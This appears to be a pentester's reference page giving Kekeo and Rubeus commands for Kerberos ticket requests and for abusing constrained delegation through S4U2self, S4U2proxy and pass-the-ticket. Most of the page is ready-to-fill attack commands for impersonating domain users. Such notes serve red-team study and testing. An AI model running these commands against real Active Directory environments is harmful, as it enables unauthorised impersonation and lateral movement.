kekeo/rubeus
Resources
Rubeus
Kekeo
Service for User (S4U)
S4U2self and S4U2proxy
For each of the following sections, I aim to provide the equivalent commands in Kekeo and Rubeus (some of the sections may only have examples in one tool).
1. Request for Ticket Granting Ticket (TGT)
kekeo # tgt::ask /user:<user> /domain:<domain> /password:<password>
C:\> rubeus.exe asktgt /user:<user> /password:<password>For rubeus, if
/passwordis used instead of a hash,/enctype:Xwill default to RC4 for the exchange, withdes|aes128|aes256as options
2. Request for Ticket Granting Service (TGS)
C:\> rubeus.exe asktgs /ticket:<ticket> /service:<servicename>3. Constrained delegation abuse: Service for User (S4U)
kekeo # tgs::s4u /tgt:<path_to_TGT> /user:<username> /service:<servicename>The
kekeocommand listed above essentially performs the S4U2self and S4U2proxy steps that can be achieved withrubeus(refer below).
From the Rubeus S4U documentation page link above, we can find a few examples:
a. S4U2self
C:\> rubeus.exe s4u /user:<username> /rc4:<rc4_hash> /impersonateuser:<user_to_impersonate>/rc4: rc4 hash of the user associated with/userThe TGT for an account with a msds-allowedtodelegateto permission can be used instead (
/ticket:X)
/impersonateuser: compulsory parameter to specify the user we plan to obtain a service ticket on behalf for
From this command, we will obtain the following:
A TGT for the user specified in
/userA TGS for the user specified in
/impersonateuser
Using the S4U2self extension: the service account can use the TGS obtained to authenticate to itself (or more specifically, the service it is running) on behalf of the user specified in
/impersonateuser
b. S4U2proxy
C:\> rubeus.exe s4u /ticket:<TGT> /msdsspn:<SPN> /tgs:<TGS>/ticket: TGT obtained from the previous step/mdsspn: Service Principal Name (SPN)This value must be listed under the
msds-allowedtodelegatetoproperty for the service account (supplied to the/userfield in the previous step)
/tgs: The forwardable ticket retrieved from the previous step (S4U2self ticket for the user specified in/impersonateuser)
From this command, we obtain a TGS for the impersonated user (specified in /impersonateuser) to the service defined in /msdsspn.
Next, we can use the TGS we have obtained to authenticate to the service (defined in /mdsspn) as our desired user:
C:\> rubeus.exe ptt /ticket:TGSor by supplying the /ptt flag to the s4u command.
C. Combining all steps: TGT request, S4U2self process, S4U2proxy execution and pass-the-ticket (injection of the final ticket)
C:\> rubeus.exe s4u /user:<username> /rc4:<rc4_hash> /impersonateuser:<user_to_impersonate> /msdsspn:<SPN> /pttLast updated